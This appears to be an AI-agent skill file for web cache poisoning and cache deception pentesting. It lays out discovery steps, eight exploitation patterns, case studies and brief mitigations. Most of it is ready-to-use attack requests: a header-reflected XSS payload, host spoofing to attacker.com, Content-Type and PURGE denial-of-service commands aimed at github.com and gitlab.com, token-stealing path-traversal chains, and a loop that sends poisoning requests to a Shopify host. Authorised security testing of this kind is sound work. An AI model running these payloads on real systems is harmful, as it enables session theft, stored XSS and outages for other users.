| name | cache-poisoning-pentest |
| description | Web cache poisoning and cache deception testing for security assessments. Use this skill whenever the user mentions cache vulnerabilities, CDN security, web cache poisoning, cache deception, HTTP caching issues, or wants to test for cache-related vulnerabilities in web applications. This includes testing for unkeyed inputs, header manipulation, path traversal cache attacks, and extension-based cache deception. |
Cache Poisoning & Cache Deception Testing
A comprehensive skill for testing web cache vulnerabilities including cache poisoning and cache deception attacks.
Quick Start
python scripts/cache_test.py -u https://target.com -o results.json
python scripts/cache_deception_test.py -u https://target.com
Understanding Cache Vulnerabilities
Cache Poisoning vs Cache Deception
| Cache Poisoning | Cache Deception |
|---|
| Attacker stores malicious content in cache | Attacker stores sensitive content in cache |
| Served to other users | Attacker retrieves the cached sensitive data |
| Impact: XSS, redirects, DoS | Impact: Data theft, account takeover |
The Attack Flow
- Identify unkeyed inputs - Parameters/headers that affect response but aren't in cache key
- Exploit the input - Manipulate to change server response
- Get it cached - Ensure the poisoned response is stored
- Verify impact - Confirm other users receive the poisoned content
Discovery Phase
Step 1: Check Cache Headers
Look for these headers in responses:
| Header | What to Look For |
|---|
X-Cache | HIT vs MISS indicates caching |
Cache-Control | public, max-age values |
Vary | Headers used in cache key |
Age | Seconds in cache |
CF-Cache-Status | Cloudflare cache status |
Action: Send requests and check if responses include cache indicators. Use the cache_test.py script to automate this.
Step 2: Test for Caching Error Codes
Some caches store error responses:
curl -H "Invalid-Header: test" https://target.com/
curl https://target.com/
Warning: Not all caches store error codes. This test may not be reliable.
Step 3: Identify Unkeyed Inputs
Use these techniques:
-
Param Miner (Burp extension) - Brute-force parameters and headers
-
Manual testing - Try common unkeyed headers:
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Scheme
X-Host
X-HTTP-Method-Override
Content-Type
User-Agent
-
Run the discovery script:
python scripts/cache_test.py -u https://target.com --discover
Exploitation Patterns
Pattern 1: Header Reflection XSS
Scenario: A header is reflected unsanitized in the response.
Exploit:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Verify: Access the page without the header - if XSS persists, cache is poisoned.
Pattern 2: Host Header Spoofing
Scenario: X-Forwarded-Host affects redirects/URLs but isn't in cache key.
Exploit:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Impact: Global redirect to attacker domain, stored XSS via Open Graph tags.
Pattern 3: Content-Type Manipulation
Scenario: Backend errors on unexpected Content-Type, cache stores error.
Exploit:
curl -H "Content-Type: invalid-value" https://target.com/page
curl -X PURGE https://target.com/page
Impact: DoS for all users, or error page caching.
Pattern 4: Path Traversal Cache Deception
Scenario: CDN caches by extension, origin normalizes paths.
Exploit:
https://target.com/share/%2F..%2Fapi/auth/session?cachebuster=123
Flow:
- CDN sees
.js extension → caches response
- Origin decodes
%2F..%2F → serves /api/auth/session
- Auth token gets cached publicly
- Attacker retrieves cached token
Pattern 5: Extension-Based Cache Deception
Scenario: Sensitive pages return HTML but path has static extension.
Test URLs:
https://target.com/profile.php/nonexistent.js
https://target.com/profile.php/.css
https://target.com/profile.php/../test.js
https://target.com/profile.php/%2e%2e/test.js
Verify: Check if response contains sensitive data AND has cache headers.
Pattern 6: Fat Get Attack
Scenario: Cache uses URL params, backend uses body params.
Exploit:
GET /page?param=attacker HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
param=victim
Impact: Victim's data cached under attacker's URL.
Pattern 7: Vary Header Exploitation
Scenario: Vary: User-Agent limits cache poisoning to specific user agents.
Exploit:
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-Host: attacker.com
Requirement: Know victim's User-Agent to poison their cache variant.
Pattern 8: CSPT + Cache Deception (Account Takeover)
Scenario: SPA with client-side path traversal + extension-based caching.
Exploit Chain:
- Lure victim to:
https://target.com/user?userId=../../../v1/token.css
- SPA fetches:
https://api.target.com/v1/users/info/../../../v1/token.css
- Browser normalizes to:
https://api.target.com/v1/token.css
- CDN caches JSON with auth token (public, max-age=86400)
- Attacker GETs the same URL → retrieves token
Preconditions:
- SPA attaches auth headers to API calls
- CDN caches by extension, not content-type
- No
Vary on auth headers
Case Studies
HackerOne: Global Redirect via X-Forwarded-Host
Vulnerability: Origin used X-Forwarded-Host for redirects, cache key only used Host.
Poison:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
Impact: All visitors redirected to attacker domain.
GitHub: Repository DoS via Content-Type + PURGE
Vulnerability: Anonymous traffic keyed on path only, backend errored on bad Content-Type.
Exploit:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
Impact: DoS for all unauthenticated users of the repo.
Shopify: Cross-Host Persistence
Vulnerability: Shared cache across multiple hosts.
Exploit:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
Impact: Cache poisoning across multiple properties.
GitLab: Static DoS via X-HTTP-Method-Override
Vulnerability: GCS honored X-HTTP-Method-Override, cache ignored HTTP method.
Exploit:
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
Impact: Empty JS bundle cached, UI DoS.
Testing Checklist
Initial Reconnaissance
Unkeyed Input Discovery
Cache Deception Testing
Exploitation Verification
Automated Testing
Using the Cache Test Script
python scripts/cache_test.py -u https://target.com
python scripts/cache_test.py -u https://target.com --discover
python scripts/cache_test.py -u https://target.com --headers "X-Forwarded-Host,X-Forwarded-For"
python scripts/cache_test.py -u https://target.com -o results.json
Using the Cache Deception Script
python scripts/cache_deception_test.py -u https://target.com
python scripts/cache_deception_test.py -u https://target.com --extensions ".js,.css,.json"
python scripts/cache_deception_test.py -u https://target.com --traversal
Mitigation Recommendations
For Cache Poisoning
- Use proper Vary headers - Include all headers that affect response
- Validate and sanitize - Never trust
X-Forwarded-* headers
- Cache only safe responses - Don't cache error pages or dynamic content
- Use cache tags - Implement cache invalidation strategies
- Monitor cache headers - Alert on unexpected cache behavior
For Cache Deception
- Cache by Content-Type - Not just file extension
- Validate paths - Reject path traversal attempts
- Use Vary: Authorization - For authenticated endpoints
- Set proper Cache-Control -
no-store for sensitive data
- Implement SRI - For static assets
References
Legal Disclaimer
Only test systems you have explicit authorization to assess. Cache poisoning can cause DoS and affect real users. Always:
- Get written authorization
- Use cache busters during testing
- Test in staging when possible
- Have a rollback plan
- Document all findings responsibly